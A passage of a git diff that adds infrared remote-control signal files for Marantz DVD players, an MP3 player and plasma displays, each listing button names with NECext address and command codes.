+name: MARKER_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F0 00 00 00 +# +name: MARKER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F0 00 00 00 +# +name: SEARCH_MODE2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F1 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F1 00 00 00 +# +name: FRAME_<< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F5 00 00 00 +# +name: PAGE_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F5 00 00 00 +# +name: PAGE_+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F5 00 00 00 +# +name: FRAME_>> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F6 00 00 00 +# +name: PAGE_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F6 00 00 00 +# +name: PAGE_- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F6 00 00 00 +# +name: PAGE_DN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F6 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F7 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F7 00 00 00 +# +name: VIDEO_ON/OFF +type: parsed +protocol: NECext +address: 04 00 00 00 +command: FF 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 04 00 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/DVD Player/41,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/DVD Player/41,-1.ir new file mode 100644 index 000000000..31d01319f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/DVD Player/41,-1.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF_-DISCRETE1 +type: parsed +protocol: NECext +address: 29 00 00 00 +command: C9 00 00 00 +# +name: POWER_ON_-DISCRETE2 +type: parsed +protocol: NECext +address: 29 00 00 00 +command: C9 00 00 00 +# +name: POWER_OFF_-DISCRETE2 +type: parsed +protocol: NECext +address: 29 00 00 00 +command: CA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/DVD Player/69,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/DVD Player/69,-1.ir new file mode 100644 index 000000000..6abe0f75b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/DVD Player/69,-1.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: PAUSE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 09 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 0A 00 00 00 +# +name: SLOW_> +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 0D 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 12 00 00 00 +# +name: FWD_>> +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 13 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 14 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 15 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 16 00 00 00 +# +name: REW_<< +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 19 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 20 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 21 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 22 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 23 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 25 00 00 00 +# +name: +_10 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 25 00 00 00 +# +name: T +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 26 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 27 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 28 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 29 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2A 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2B 00 00 00 +# +name: A-B_RPT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2C 00 00 00 +# +name: LAST_PLAY +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2D 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2E 00 00 00 +# +name: SUBTITLE_ON_OFF +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2F 00 00 00 +# +name: CURSOR_> +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 4D 00 00 00 +# +name: CURSOR_< +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 51 00 00 00 +# +name: CURSOR_^ +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 80 00 00 00 +# +name: CURSOR_V +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 81 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 84 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: DE 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 45 00 00 00 +command: EF 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: F5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/DVD/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/DVD/4,-1.ir new file mode 100644 index 000000000..8d3fd6f06 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/DVD/4,-1.ir @@ -0,0 +1,284 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1C 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: CHAPTER_+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: CHAPTER_- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: FOWARD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 28 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 29 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2C 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 30 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 31 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3A 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3B 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 42 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 45 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4B 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4E 00 00 00 +# +name: S.MODE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 50 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 54 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 71 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 78 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 82 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 83 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 85 00 00 00 +# +name: VIDEO_ADJUST +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 96 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C8 00 00 00 +# +name: PAGE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: CA 00 00 00 +# +name: CONDITION +type: parsed +protocol: NECext +address: 04 00 00 00 +command: CC 00 00 00 +# +name: MARKER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: EE 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F7 00 00 00 +# +name: VIDEO_ON/OFF +type: parsed +protocol: NECext +address: 04 00 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/DVD/69,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/DVD/69,-1.ir new file mode 100644 index 000000000..078d7fa60 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/DVD/69,-1.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: PAUSE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 09 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 0A 00 00 00 +# +name: SLOW_> +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 0D 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 12 00 00 00 +# +name: FWD_>> +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 13 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 14 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 15 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 16 00 00 00 +# +name: REW_<< +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 19 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 20 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 21 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 22 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 23 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 25 00 00 00 +# +name: T +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 26 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 27 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 28 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 29 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2A 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2B 00 00 00 +# +name: A-B_RPT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2C 00 00 00 +# +name: LAST_PLAY +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2D 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2E 00 00 00 +# +name: SUBTITLE_ON_OFF +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2F 00 00 00 +# +name: CURSOR_> +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 4D 00 00 00 +# +name: CURSOR_< +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 51 00 00 00 +# +name: CURSOR_^ +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 80 00 00 00 +# +name: CURSOR_V +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 81 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 84 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: DE 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 45 00 00 00 +command: EF 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: F5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/MP3 Player/14,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/MP3 Player/14,-1.ir new file mode 100644 index 000000000..6a159405d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/MP3 Player/14,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/MP3 Player/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/MP3 Player/16,-1.ir new file mode 100644 index 000000000..ad97aeb8a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/MP3 Player/16,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma Displays/24,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma Displays/24,-1.ir new file mode 100644 index 000000000..a8fc33ad4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma Displays/24,-1.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 02 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 03 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 08 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 09 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0A 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0F 00 00 00 +# +name: AUTO_ADJUST +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1F 00 00 00 +# +name: CONTRAST_+ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 46 00 00 00 +# +name: CONTRAST_- +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 47 00 00 00 +# +name: COLOR_+ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 48 00 00 00 +# +name: COLOR_- +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 49 00 00 00 +# +name: BRIGHTNESS+ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 4A 00 00 00 +# +name: TINT_+ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 4C 00 00 00 +# +name: TINT_- +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 4D 00 00 00 +# +name: SHARPNESS_+ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 4E 00 00 00 +# +name: SHARPNESS_- +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 4F 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 55 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 56 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 57 00 00 00 +# +name: RGB/PC +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 58 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma Displays/24,24.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma Displays/24,24.ir new file mode 100644 index 000000000..22c47f259 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma Displays/24,24.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: DVD/HD +type: parsed +protocol: NECext +address: 18 18 00 00 +command: 1C 00 00 00 +# +name: CHANGE_SCRN_SIZE +type: parsed +protocol: NECext +address: 18 18 00 00 +command: AD 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 18 18 00 00 +command: B1 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 18 18 00 00 +command: B2 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 18 18 00 00 +command: B3 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 18 18 00 00 +command: C0 00 00 00 +# +name: RGB/PC1 +type: parsed +protocol: NECext +address: 18 18 00 00 +command: C1 00 00 00 +# +name: RGB/PC2 +type: parsed +protocol: NECext +address: 18 18 00 00 +command: C2 00 00 00 +# +name: RGB/PC3 +type: parsed +protocol: NECext +address: 18 18 00 00 +command: C3 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 18 18 00 00 +command: C4 00 00 00 +# +name: POINTER +type: parsed +protocol: NECext +address: 18 18 00 00 +command: C9 00 00 00 +# +name: ZOOM_+ +type: parsed +protocol: NECext +address: 18 18 00 00 +command: CA 00 00 00 +# +name: ZOOM_- +type: parsed +protocol: NECext +address: 18 18 00 00 +command: CB 00 00 00 +# +name: MULTISCREEN +type: parsed +protocol: NECext +address: 18 18 00 00 +command: CC 00 00 00 +# +name: DVD/HD2 +type: parsed +protocol: NECext +address: 18 18 00 00 +command: DC 00 00 00 +# +name: DVD/HD1 +type: parsed +protocol: NECext +address: 18 18 00 00 +command: EB 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma/0,-1.ir new file mode 100644 index 000000000..10eeaa561 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma/0,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: ENTER/OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma/24,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma/24,-1.ir new file mode 100644 index 000000000..303022bb4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma/24,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 02 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 03 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 08 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 08 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 09 00 00 00 +# +name: S_VIDEO_INPUT +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0A 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0A 00 00 00 +# +name: INPUT:_VIDEO +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0A 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0F 00 00 00 +# +name: MONO +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1D 00 00 00 +# +name: OFF_TIMER +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1E 00 00 00 +# +name: OF-T +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1E 00 00 00 +# +name: OFF_TIME +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1E 00 00 00 +# +name: AUTO_ADJUST +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1F 00 00 00 +# +name: CONTRAST_+ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 46 00 00 00 +# +name: CONTRAST_- +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 47 00 00 00 +# +name: COLOR_+ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 48 00 00 00 +# +name: COLOR_- +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 49 00 00 00 +# +name: BRIGHTNESS+ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 4A 00 00 00 +# +name: BRIGHTNESS_+ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 4A 00 00 00 +# +name: TINT_+ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 4C 00 00 00 +# +name: TINT_- +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 4D 00 00 00 +# +name: SHARPNESS_+ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 4E 00 00 00 +# +name: SHARPNESS_- +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 4F 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 55 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 55 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 56 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 56 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 57 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 57 00 00 00 +# +name: RGB +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 58 00 00 00 +# +name: RGB/PC +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 58 00 00 00 +# +name: INPUT:_PC +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 58 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma/24,24.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma/24,24.ir new file mode 100644 index 000000000..d46e719f5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma/24,24.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: DVD_INPUT +type: parsed +protocol: NECext +address: 18 18 00 00 +command: 1C 00 00 00 +# +name: DVD/HD +type: parsed +protocol: NECext +address: 18 18 00 00 +command: 1C 00 00 00 +# +name: INPUT:_DVD +type: parsed +protocol: NECext +address: 18 18 00 00 +command: 1C 00 00 00 +# +name: HD_3 +type: parsed +protocol: NECext +address: 18 18 00 00 +command: 40 00 00 00 +# +name: PIC_MEMORY +type: parsed +protocol: NECext +address: 18 18 00 00 +command: 41 00 00 00 +# +name: CONTRAST +type: parsed +protocol: NECext +address: 18 18 00 00 +command: 42 00 00 00 +# +name: BRIGHT +type: parsed +protocol: NECext +address: 18 18 00 00 +command: 43 00 00 00 +# +name: PIC_MODE +type: parsed +protocol: NECext +address: 18 18 00 00 +command: 44 00 00 00 +# +name: COLOR_TEMP +type: parsed +protocol: NECext +address: 18 18 00 00 +command: 45 00 00 00 +# +name: WIDE +type: parsed +protocol: NECext +address: 18 18 00 00 +command: AD 00 00 00 +# +name: CHANGE_SCRN_SIZE +type: parsed +protocol: NECext +address: 18 18 00 00 +command: AD 00 00 00 +# +name: CHNG_SCRN_SIZE +type: parsed +protocol: NECext +address: 18 18 00 00 +command: AD 00 00 00 +# +name: MODE:_WIDE +type: parsed +protocol: NECext +address: 18 18 00 00 +command: AD 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 18 18 00 00 +command: B0 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 18 18 00 00 +command: B1 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 18 18 00 00 +command: B2 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 18 18 00 00 +command: B3 00 00 00 +# +name: CURSON_RIGHT +type: parsed +protocol: NECext +address: 18 18 00 00 +command: B3 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 18 18 00 00 +command: B4 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 18 18 00 00 +command: B5 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 18 18 00 00 +command: C0 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 18 18 00 00 +command: C0 00 00 00 +# +name: RGB/PC1 +type: parsed +protocol: NECext +address: 18 18 00 00 +command: C1 00 00 00 +# +name: RGB/PC2 +type: parsed +protocol: NECext +address: 18 18 00 00 +command: C2 00 00 00 +# +name: RGB/PC3 +type: parsed +protocol: NECext +address: 18 18 00 00 +command: C3 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 18 18 00 00 +command: C4 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 18 18 00 00 +command: C4 00 00 00 +# +name: POINTER +type: parsed +protocol: NECext +address: 18 18 00 00 +command: C9 00 00 00 +# +name: ZOOM_+ +type: parsed +protocol: NECext +address: 18 18 00 00 +command: CA 00 00 00 +# +name: ZOOM_- +type: parsed +protocol: NECext +address: 18 18 00 00 +command: CB 00 00 00 +# +name: MULTISCREEN +type: parsed +protocol: NECext +address: 18 18 00 00 +command: CC 00 00 00 +# +name: MULTI_SCREEN +type: parsed +protocol: NECext +address: 18 18 00 00 +command: CC 00 00 00 +# +name: MULTI_SCRN_SEL. +type: parsed +protocol: NECext +address: 18 18 00 00 +command: CD 00 00 00 +# +name: DVD/HD2 +type: parsed +protocol: NECext +address: 18 18 00 00 +command: DC 00 00 00 +# +name: HD_2 +type: parsed +protocol: NECext +address: 18 18 00 00 +command: DC 00 00 00 +# +name: DVD/HD1 +type: parsed +protocol: NECext +address: 18 18 00 00 +command: EB 00 00 00 +# +name: HD_1 +type: parsed +protocol: NECext +address: 18 18 00 00 +command: EB 00 00 00 diff --git 